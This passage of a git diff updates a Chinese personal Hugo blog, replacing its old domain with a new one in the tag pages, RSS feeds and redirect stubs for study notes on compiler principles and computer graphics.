Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="编译原理"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="编译原理"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>编译原理</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>编译原理学习笔记</h2></header><div class=entry-content><p>编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））
 编译让计算机理解高级语言并且执行，编译让计算机更理解人，编译提供了人类新的思考方式
 编译的翻译只能作用于形式语言
 编译器和解释器
@@ -30,7 +30,7 @@
 当识别扫描到a时，会处于标识符状态，直到遇到了==，就会切换到比较运算符状态，然后再识别1，知道该值是数值字面量
 语法分析
 语法分析的过程就是在词法分析的基础上分析程序的语法结构，这个语法结构是树状的，这个树叫抽象语法树（Abstract Syntax Tree，AST），树节点是语法单元，可通过递归下降算法或者自底向上算法来构造该树状
-语法制导翻译</p></div><footer class=entry-footer><span title='2022-05-08 03:00:00 +0000 UTC'>2022-05-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 编译原理学习笔记" href=https://xiaochenabc123.github.io/posts/148/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+语法制导翻译</p></div><footer class=entry-footer><span title='2022-05-08 03:00:00 +0000 UTC'>2022-05-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 编译原理学习笔记" href=https://chenjunlinabc.github.io/posts/148/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/tags/\347\274\226\350\257\221\345\216\237\347\220\206/index.xml" "b/tags/\347\274\226\350\257\221\345\216\237\347\220\206/index.xml"
index 50b99dc3..93a110b8 100644
--- "a/tags/\347\274\226\350\257\221\345\216\237\347\220\206/index.xml"
+++ "b/tags/\347\274\226\350\257\221\345\216\237\347\220\206/index.xml"
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>编译原理 on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/</link>
+    <link>https://chenjunlinabc.github.io/tags/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/</link>
     <description>Recent content in 编译原理 on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 08 May 2022 03:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 08 May 2022 03:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>编译原理学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/148/</link>
+      <link>https://chenjunlinabc.github.io/posts/148/</link>
       <pubDate>Sun, 08 May 2022 03:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/148/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/148/</guid>
       <description>编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））
 编译让计算机理解高级语言并且执行，编译让计算机更理解人，编译提供了人类新的思考方式
 编译的翻译只能作用于形式语言
diff --git "a/tags/\347\274\226\350\257\221\345\216\237\347\220\206/page/1/index.html" "b/tags/\347\274\226\350\257\221\345\216\237\347\220\206/page/1/index.html"
index d25b9381..fe264cfd 100644
--- "a/tags/\347\274\226\350\257\221\345\216\237\347\220\206/page/1/index.html"
+++ "b/tags/\347\274\226\350\257\221\345\216\237\347\220\206/page/1/index.html"
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/"></head></html>
\ No newline at end of file
diff --git "a/tags/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/index.html" "b/tags/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/index.html"
index 8ccad685..98b6c12b 100644
--- "a/tags/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/index.html"
+++ "b/tags/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>计算机图形学 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9B%BE%E5%BD%A2%E5%AD%A6/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9B%BE%E5%BD%A2%E5%AD%A6/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="计算机图形学"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9B%BE%E5%BD%A2%E5%AD%A6/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="计算机图形学"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>计算机图形学</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>计算机图形学学习笔记</h2></header><div class=entry-content><p>计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>计算机图形学 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9B%BE%E5%BD%A2%E5%AD%A6/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9B%BE%E5%BD%A2%E5%AD%A6/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="计算机图形学"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9B%BE%E5%BD%A2%E5%AD%A6/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="计算机图形学"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>计算机图形学</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>计算机图形学学习笔记</h2></header><div class=entry-content><p>计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科
 通过数学算法将二维，三维图形转换成计算机显示器的栅格，例如向量，行列式，矩阵算法等等
 图形学历史
 1950年，MIT诞生第一个图形显示器（用于Whirlwind（旋风）电子管计算机显示图形），CRT显示器
@@ -19,7 +19,7 @@
 1996年，Krishnamurthy与Levoy提出法线贴图（Normal Mapping）
 1995年，Directx 1.0
 1997年，OpenGL 1.1
-1999年，Nvidia，Gefprce 256 GPU</p></div><footer class=entry-footer><span title='2022-11-08 12:00:00 +0000 UTC'>2022-11-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机图形学学习笔记" href=https://xiaochenabc123.github.io/posts/159/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+1999年，Nvidia，Gefprce 256 GPU</p></div><footer class=entry-footer><span title='2022-11-08 12:00:00 +0000 UTC'>2022-11-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机图形学学习笔记" href=https://chenjunlinabc.github.io/posts/159/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/tags/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/index.xml" "b/tags/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/index.xml"
index 7906a28a..4672a47f 100644
--- "a/tags/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/index.xml"
+++ "b/tags/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/index.xml"
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>计算机图形学 on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9B%BE%E5%BD%A2%E5%AD%A6/</link>
+    <link>https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9B%BE%E5%BD%A2%E5%AD%A6/</link>
     <description>Recent content in 计算机图形学 on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Tue, 08 Nov 2022 12:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9B%BE%E5%BD%A2%E5%AD%A6/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Tue, 08 Nov 2022 12:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9B%BE%E5%BD%A2%E5%AD%A6/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>计算机图形学学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/159/</link>
+      <link>https://chenjunlinabc.github.io/posts/159/</link>
       <pubDate>Tue, 08 Nov 2022 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/159/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/159/</guid>
       <description>计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科
 通过数学算法将二维，三维图形转换成计算机显示器的栅格，例如向量，行列式，矩阵算法等等
 图形学历史
diff --git "a/tags/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/page/1/index.html" "b/tags/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/page/1/index.html"
index 122eed7c..ab235b6f 100644
--- "a/tags/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/page/1/index.html"
+++ "b/tags/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/page/1/index.html"
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9B%BE%E5%BD%A2%E5%AD%A6/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9B%BE%E5%BD%A2%E5%AD%A6/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9B%BE%E5%BD%A2%E5%AD%A6/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9B%BE%E5%BD%A2%E5%AD%A6/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9B%BE%E5%BD%A2%E5%AD%A6/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9B%BE%E5%BD%A2%E5%AD%A6/"></head></html>
\ No newline at end of file
diff --git "a/tags/\350\256\241\347\256\227\346\234\272\347\273\204\346\210\220\345\216\237\347\220\206/index.html" "b/tags/\350\256\241\347\256\227\346\234\272\347\273\204\346\210\220\345\216\237\347\220\206/index.html"
index 51e34e13..d291f6bc 100644
--- "a/tags/\350\256\241\347\256\227\346\234\272\347\273\204\346\210\220\345\216\237\347\220\206/index.html"
+++ "b/tags/\350\256\241\347\256\227\346\234\272\347\273\204\346\210\220\345\216\237\347\220\206/index.html"
@@ -1,4 +1,4 @@
